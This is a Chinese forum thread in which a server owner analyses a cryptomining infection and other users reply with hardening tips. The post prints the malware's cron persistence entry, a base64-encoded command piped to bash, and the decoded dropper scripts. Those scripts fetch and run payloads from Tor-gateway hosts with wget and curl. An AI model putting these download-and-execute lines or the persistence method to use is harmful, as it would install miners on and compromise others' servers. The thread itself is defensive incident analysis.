Linux 服务器CPU总是100%-被挖矿后的自救
本帖最后由 kuruite 于 2020-1-18 17:21 编辑通过监控系统发现服务器CPU总是100%,通过检查
lsof -p $PID
COMMANDPID USER FD TYPE DEVICE SIZE/OFF NODE NAME
RWdaa97649 rootcwd DIR 253,2 40960 67145801 /usr/bin
RWdaa97649 rootrtd DIR 253,2 4096 64 /
RWdaa97649 roottxt REG 253,2 260544 67606919 /usr/bin/e9380b269e5f4564b95bb3ae105fdd4e (deleted)
RWdaa97649 root 0uIPv4 103733459 0t0 TCP buildserver:53860->101.64.182.145:https (ESTABLISHED)
RWdaa97649 root 3w REG 253,2 6 34829489 /tmp/.X11-unix/1
/tmp/puppeteer_dev_profile-BbyuSh
########################################################################
嗯这个进程一直在运行,但是找不到进程,所以就很有问题了。删除了之后程序会自动下载再次运行,初步猜测通过定时任务来实现的,发现以下异常:
crontab -l
15 * * * * /root/.systemd-ntpdate cn.pool.ntp.org >/dev/null 2>&1
/etc/cron.d
0hourly0systemd-ntpdateraid-checksysstat
cat 0systemd-ntpdate
0 * * * * root /lib/systemd/systemd-ntpdate
########################################################################
所有用户的计划任务,都会在这个目录下产生对应的文件 (有可能被删除)
ls/var/spool/cron
root
cat /var/spool/cron/root
15 * * * * /root/.systemd-ntpdate cn.pool.ntp.org >/dev/null 2>&1
########################################################################
systemd-ntpdate文件中的内容如下:
!/bin/bash
exec &>/dev/null
ntpdate ntp.aliyun.com
sleep 52
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10b3JudHBheG53Nnl4aGw0CnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDE4MCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSAkMSR4Cn0KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMSkvaW87IHRoZW4KKAp1ICR0LmNpdmljbGluay5uZXR3b3JrIHx8CnUgJHQuNHRvci5tbCB8fAp1ICR0LnRvcjJ3ZWIuaW8gfHwKdSAkdC5vbmlvbi5nbGFzcyB8fAp1ICR0Lm9uaW9uLm1uIHx8CnUgJHQub25pb24uc2ggfHwKdSAkdC5vbmlvbi5pbi5uZXQgfHwKdSAkdC5vbmlvbi50bwopfGJhc2gKZmkK|base64 -d|bash
使用base64加密,那么就使用这个解密拿到内容
#解密内容如下
#会去判断进程id是否存在,id若不存在将执行下载操作
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=torntpaxnw6yxhl4
u() {
x=/crn
wget -t1 -T180 -qU- -O- --no-check-certificate $1$x || curl -m180 -fsSLkA- $1$x
}
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then
(
u $t.onion.glass ||
u $t.civiclink.network ||
u $t.onion.mn ||
u $t.onion.sh ||
u $t.onion.in.net ||
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.onion.to
)|bash
fi
# 百度了一下这些网址,检索了这个地址出来 https://github.com/zdyxry?tab=repositories,
# 估计是这些网址提供了二级域名服务,主站感觉也不是什么好站
# 按照上面的逻辑拼接出下载地址,将下载的位置文件追加到virus.txt
# 开始是可执行文件,然后是另一个脚本
curl -m180 -fsSLkA- torntpaxnw6yxhl4.onion.glass/crn> virus.txt
# cat virus.txt
#clear_virus_v2.sh这个脚本暂时不清楚干什么的
ansible all -m shell -a 'rm -f /root/clear_virus_v2.sh && echo "" > /root/clear_virus_v2.sh'
exec &>/dev///干掉命令的输出信息
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T180 -qU- --no-check-certificate $1$f -O$d || curl -m180 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /tmp /usr/bin $dir /dev/shm /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
for h in onion.glass civiclink.network onion.mn onion.in.net onion.to tor2web.io onion.sh
do
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then
x torntpaxnw6yxhl4.$h
else
break
fi
done
# 按照上面的逻辑拼接下载地址,获取病毒脚本
curl -m180 -fsSLkA- torntpaxnw6yxhl4.onion.mn/int -ovirus
# 这个就看不到内容了,应该就是编译后的脚本了,应该是go语言编译后的二进制文件,个人能力不够没法进行逆向,查看编译前的脚本内容,以及他区块链钱包的地址是多少{:1_937:} ,记得以前论坛有人逆向过。
看了一下目录下还有ssh、pw、ss等命令,入侵果然没有那么简单,至于反向shell暂时没有发现,但一般都会留下后门。
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.font-unix
服务器不能重装,又不能禁止访问互联网,但他肯定篡改的东西不止这一点点,不敢删除脚本,怕其他东西重新下载脚本,所以暂时删除了脚本中的base64位编码字符,看能不能避免
至于从哪里进来的 也不清楚 暂时告一段落
之前我vps也曾经被拜访了,只能割爱砍掉重练,备份重要文件和数据,再重新部署
毕竟就算清掉了病毒,他或许可能也安装后门方便他再次入侵,所以怎么样砍掉重新部署怎么样都比较好
重新部署后,ssh别使用密码登入,改用ssh key登入,关掉root,开个新用户给sudo 权限,使用 fail2ban 设置ssh超过3次登入失败封ip 7天以上,iptables/ufw 把所有访问(incoming)的port都关掉,打开你需要的服务即可,这样已经做足阻挡过一半的入侵方式了 # 百度了一下这些网址,检索了这个地址出来 https://github.com/zdyxry?tab=repositories,
# 估计是这些网址提供了二级域名服务,主站感觉也不是什么好站全球最大同性交友网站GitHub表示冤枉啊,哈哈。
不过挖矿的脚步确实烦,还是得做好服务器的防范工作。我之前的腾讯云两台服务器,就因为密码设置的过于简单,全部被注入了挖矿程序。好在没啥重要内容,直接重置了。 重命名curl,检查/etc/passwd shadow
~/.bash_rc ,清除 /tmp
改变服务器防火墙策略,篡改TTL,可防止一切国外的攻击。 JuncoJet 发表于 2020-1-18 17:24
重命名curl,检查/etc/passwd shadow
~/.bash_rc ,清除 /tmp
改变服务器防火墙策略,篡改TTL,可防止一 ...
学习了 感谢 感谢分享 辛苦了楼主 工程欧巴 发表于 2020-1-18 18:14
辛苦了楼主
辛苦可以安慰 打赏下{:1_899:} 检查允许登录的账户,然后每个账户登录查看一下他们的计划任务和history。如果是root权限被拿,排查就比较麻烦了。
hosts文件里面添加解析,将你查到的这几个域名,解析到内部其他设备或者解析到本地。将设备无需访问到的ip出路由下一跳指定到一个不存在的私网地址。将设备无需访问的域名解析到本地或者一个不存在的IP。临时缓解。 这个确实不错的 :lol 正在学习阶段 感谢分享经验~~